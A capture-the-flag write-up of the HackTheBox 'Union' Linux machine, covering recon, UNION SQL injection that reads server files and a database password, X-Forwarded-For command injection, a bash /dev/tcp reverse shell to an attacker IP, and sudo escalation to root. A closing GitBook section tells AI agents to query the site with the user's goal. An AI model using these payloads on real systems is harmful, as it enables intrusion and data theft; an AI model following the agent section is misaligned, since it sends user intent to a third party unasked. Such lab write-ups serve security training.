> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Union HackTheBox Writeup

Union HackTheBox Medium Linux machine writeup covering SQLI (SQL Injection) - UNION Injection, SQLI - Read Files, HTTP Header Command Injection - X-FORWARDED-FOR (RCE), Abusing sudoers privilege (Priv

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**Skills:**

* SQLI (SQL Injection) - UNION Injection
* SQLI - Read Files
* HTTP Header Command Injection - X-FORWARDED-FOR (RCE)
* Abusing sudoers privilege (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92b568cff41f06d467565607eca3e0fa17c89abd%2Fimage%20(2737).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af02550040a21260c827983bea3fe0843c80bfe1%2Fimage%20(2738).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bb6aa5981c06b23442a2ee00b8810d0268542d%2Fimage%20(2739).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (80)

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5c74a429451496ba27519b9d4baf3b356b62212%2Fimage%20(2740).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-222e0e8b78fe98d12d96d81b41c1fdd0d62240b8%2Fimage%20(2741).png?alt=media" alt=""><figcaption></figcaption></figure>

### List of Files

with gobusteron will do a file enumeration with php extensions

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

There are two files that are not externally accessible: `config.php` and `firewall.php`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aaf16bd4674e7780ff9b37daa61d3397ba7b5931%2Fimage%20(2749).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ed6b0049e589733063f3e741add895823bcc81b%2Fimage%20(2750).png?alt=media" alt=""><figcaption></figcaption></figure>

In `index.php`, if we add a name in the form, it appears in the response.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9e622065556175b81f394c8e8908c7d1941552c%2Fimage%20(2742).png?alt=media" alt=""><figcaption></figcaption></figure>

challenge file asks us a flag

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a41b77c54d364fa0f346ed7cb1d3a8874d217a7e%2Fimage%20(2762).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability SQLI - UNION Injection

We intercept the request with Burp Suite and alter the variable `player`:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b60f996757be7fdcec7760d7d991bfe0aeded6e%2Fimage%20(2743).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

The name of the database is `november`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0a0c12b2ed3e714e9251c34ee927a86a5a0603f%2Fimage%20(2744).png?alt=media" alt=""><figcaption></figcaption></figure>

To list all databases:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

Result: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4459611b0d3f55909f0f28a65ebf00a86bc04f4%2Fimage%20(2745).png?alt=media" alt=""><figcaption></figcaption></figure>

List the tables in `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74ba5beea2a11efd78ce8369f045b9363dbb2c25%2Fimage%20(2746).png?alt=media" alt=""><figcaption></figcaption></figure>

List the columns in the `players` table:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

Columns found: `player`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ef9ac0bc74b02cd3549420ca1ec21503e9a2d72%2Fimage%20(2747).png?alt=media" alt=""><figcaption></figcaption></figure>

**Extraction of User Data**

```sql
jordan' union select group_concat(player,':') from players-- -
```

Players found: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c913c4d3e543e73413ddf0dcd56281a27a230ea3%2Fimage%20(2748).png?alt=media" alt=""><figcaption></figcaption></figure>

Flag extraction:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57134d5c69d5a2497faae42aef8f46eb27cc7023%2Fimage%20(2764).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-323a0540509ff6f7f4525d1358da57dfcf38a9cd%2Fimage%20(2763).png?alt=media" alt=""><figcaption></figcaption></figure>

* Flag found: `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - Read Files**

Read `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

We find a `uhc` user.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d09cdb53f07bc8c5d04d3665fe611b02804a73cc%2Fimage%20(2751).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt

Read `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ce99862e1c1f6fb4066518ca5795cb262058610%2Fimage%20(2759).png?alt=media" alt=""><figcaption></figcaption></figure>

Reading `config.php`, we find database credentials:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce9090ea1e6be104073b8640fb1cb248810955aa%2Fimage%20(2761).png?alt=media" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

Reading `firewall.php`, we understand that submitting the flag opens the SSH port:

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a30ac7df94cff931a1b35bf31506ef4e008176e%2Fimage%20(2765).png?alt=media" alt=""><figcaption></figcaption></figure>

We submit the flag: `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c15e04e4f3c91094468051d336d8accec627b834%2Fimage%20(2766).png?alt=media" alt=""><figcaption></figcaption></figure>

Port 22 is now open.<br>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0fb6d69e7b6ab553496a81f2ffc02efe2565685%2Fimage%20(2767).png?alt=media" alt=""><figcaption></figcaption></figure>

### SSH connection

We use the identified credentials to log in:

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b504788cfafcdb267b5da3fb5bd1d8435b7f6b3%2Fimage%20(2768).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Privilege Escalation**

### HTTP Header Command Injection - X-FORWARDED-FOR (RCE)

If you look at the `firewall.php` file, you notice that it recovers the `HTTP_X_FORWARDED_FOR` header and uses it with `sudo` to execute a command:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-587fb0eef4c811a19bbe7cb93280417236169063%2Fimage%20(2752).png?alt=media" alt=""><figcaption></figcaption></figure>

Since this variable can be controlled via an HTTP request, we can inject an arbitrary command.

**Exploitation**

As this is an HTTP header, we can inject a command, for example using `curl` to contact our web server.

**Implementing a web server:**

```bash
python3 -m http.server 80
```

**Injection control with `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25bd163edd6500520a59996761f2bce0e89e8940%2Fimage%20(2753).png?alt=media" alt=""><figcaption></figcaption></figure>

**Reverse Shell**

**Listen to Port 443:**

```bash
nc -nlvp 443
```

**Order to get a remote shell:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

Once connected, we are the user `www-data`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e59b49dabed35b154ea7d45897e884e7f5ed118%2Fimage%20(2754).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal Stabilization

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

With the following command, we check `sudo` permissions:

```bash
sudo -l 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92c65a648ed1651bfe25f6a749435ac72eaee627%2Fimage%20(2755).png?alt=media" alt=""><figcaption></figcaption></figure>

If we see that `www-data` can execute any command as any user (`(ALL: ALL) ALL`), then we can run a root shell with:

```bash
sudo /bin/bash -p
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-529747ce2a2908ba142a6130b91d50f2515ef69e%2Fimage%20(2756).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-165e663c23cbd9b0c075800eddab3187c1b71984%2Fimage%20(2757).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab2d189debc9b29c9a2806ffc17b091f32b48d0f%2Fimage%20(2758).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
